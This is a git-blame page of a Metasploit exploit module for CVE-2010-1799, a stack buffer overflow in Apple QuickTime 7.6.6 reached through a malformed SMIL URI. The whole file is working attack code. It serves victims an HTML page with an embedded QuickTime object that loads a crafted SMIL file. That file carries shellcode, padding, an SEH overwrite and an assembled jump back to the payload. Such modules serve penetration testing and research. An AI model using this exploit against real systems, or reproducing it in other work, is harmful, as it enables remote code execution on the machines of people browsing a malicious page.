Files
metasploit-gs/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

157 lines
4.9 KiB
Ruby
Raw Normal View History

2010-08-13 23:11:23 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2010-08-13 23:11:23 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2010-08-13 23:11:23 +00:00
Rank = GoodRanking # needs more testing/targets to be Great
2013-08-30 16:28:54 -05:00
2010-08-13 23:11:23 +00:00
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Seh
2013-08-30 16:28:54 -05:00
#include Msf::Exploit::Remote::BrowserAutopwn
#autopwn_info({
2014-05-28 14:35:22 -05:00
# :os_name => OperatingSystems::Match::WINDOWS,
# :javascript => true,
# :rank => NormalRanking, # reliable memory corruption
# :vuln_test => nil,
#})
2013-08-30 16:28:54 -05:00
2010-08-13 23:11:23 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Apple QuickTime 7.6.6 Invalid SMIL URI Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in Apple QuickTime
7.6.6. When processing a malformed SMIL uri, a stack-based buffer
overflow can occur when logging an error message.
},
'Author' =>
[
'Krystian Kloskowski', # original discovery
'jduck' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2010-1799' ],
[ 'OSVDB', '66636'],
2010-08-13 23:11:23 +00:00
[ 'BID', '41962' ],
2023-03-23 10:19:30 +00:00
[ 'URL', 'http://web.archive.org/web/20100729143247/http://secunia.com:80/advisories/40729' ],
2010-08-13 23:11:23 +00:00
[ 'URL', 'http://support.apple.com/kb/HT4290' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
2010-08-13 23:11:23 +00:00
},
'Payload' =>
{
'Space' => 640, # 716 - 63 - 8 - 5
'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40\x5c",
},
'Platform' => 'win',
'Targets' =>
[
#[ 'Automatic', { } ],
[ 'Apple QuickTime Player 7.6.6',
{
'Ret' => 0x66801042 # p/p/r from QuickTime.qts (v7.66.71.0)
}
],
],
'Privileged' => false,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2010-08-12',
2010-08-13 23:11:23 +00:00
'DefaultTarget' => 0))
end
2013-08-30 16:28:54 -05:00
2010-08-13 23:11:23 +00:00
def on_request_uri(client, request)
2013-08-30 16:28:54 -05:00
2010-08-13 23:11:23 +00:00
return if ((p = regenerate_payload(client)) == nil)
2013-08-30 16:28:54 -05:00
2010-08-13 23:11:23 +00:00
if (request['User-Agent'] =~ /QuickTime/i or request.uri =~ /\.smil$/)
2012-04-11 00:26:25 -06:00
print_status("Sending exploit SMIL (target: #{target.name})")
2013-08-30 16:28:54 -05:00
2010-08-13 23:11:23 +00:00
# This is all basically filler on the browser target because we can't
# expect the SEH to be in a reliable place across multiple browsers.
# Heap spray ftw.
2013-08-30 16:28:54 -05:00
2010-08-13 23:11:23 +00:00
off = 716
start = "cHTTPDhlr_SetURL - url doesn't start with http:// or http1:// '"
2013-08-30 16:28:54 -05:00
2010-08-13 23:11:23 +00:00
scheme = rand_text_alphanumeric(5)
2013-08-30 16:28:54 -05:00
2010-08-13 23:11:23 +00:00
sploit = ''
sploit << scheme
sploit << "://"
2013-08-30 16:28:54 -05:00
2010-08-13 23:11:23 +00:00
# payload
sploit << p.encoded
2013-08-30 16:28:54 -05:00
2010-08-13 23:11:23 +00:00
# pad to SEH
sploit << rand_text_english(off - sploit.length - start.length)
2013-08-30 16:28:54 -05:00
2010-08-13 23:11:23 +00:00
# seh frame
sploit << generate_seh_record(target.ret)
2013-08-30 16:28:54 -05:00
2010-08-13 23:11:23 +00:00
# jmp back to payload
distance = off + 8 - (8 + start.length)
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
2013-08-30 16:28:54 -05:00
2010-08-13 23:11:23 +00:00
# force exception while writing
sploit << rand_text(1024) * 15
2013-08-30 16:28:54 -05:00
2010-08-13 23:11:23 +00:00
smil = %Q|<smil xmlns="http://www.w3.org/2001/SMIL20/Language">
<body>
<img src="#{sploit}" />
</body>
</smil>
|
send_response(client, smil, { 'Content-Type' => "application/smil" })
2013-08-30 16:28:54 -05:00
2010-08-13 23:11:23 +00:00
else
2012-04-11 00:26:25 -06:00
print_status("Sending initial HTML")
2013-08-30 16:28:54 -05:00
2010-08-13 23:11:23 +00:00
shellcode = Rex::Text.to_unescape(p.encoded)
url = ((datastore['SSL']) ? "https://" : "http://")
url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])
url << ":" + datastore['SRVPORT'].to_s
2010-08-13 23:11:23 +00:00
url << get_resource
2013-08-30 16:28:54 -05:00
2010-08-13 23:11:23 +00:00
fname = rand_text_alphanumeric(4)
2013-08-30 16:28:54 -05:00
2010-08-13 23:11:23 +00:00
content = "<html><body>"
content << <<-ENDEMBED
<OBJECT
CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
WIDTH="1"
HEIGHT="1"
CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab">
<PARAM name="SRC" VALUE = "#{url}/#{fname}.smil">
<PARAM name="QTSRC" VALUE = "#{url}/#{fname}.smil">
<PARAM name="AUTOPLAY" VALUE = "true" >
<PARAM name="TYPE" VALUE = "video/quicktime" >
<PARAM name="TARGET" VALUE = "myself" >
<EMBED
SRC = "#{url}/#{fname}.qtl"
QTSRC = "#{url}/#{fname}.qtl"
TARGET = "myself"
WIDTH = "1"
HEIGHT = "1"
AUTOPLAY = "true"
PLUGIN = "quicktimeplugin"
TYPE = "video/quicktime"
CACHE = "false"
PLUGINSPAGE= "http://www.apple.com/quicktime/download/" >
</EMBED>
</OBJECT>
ENDEMBED
content << "</body></html>"
2013-08-30 16:28:54 -05:00
2010-08-13 23:11:23 +00:00
send_response(client, content, { 'Content-Type' => "text/html" })
end
2013-08-30 16:28:54 -05:00
2010-08-13 23:11:23 +00:00
# Handle the payload
handler(client)
end
end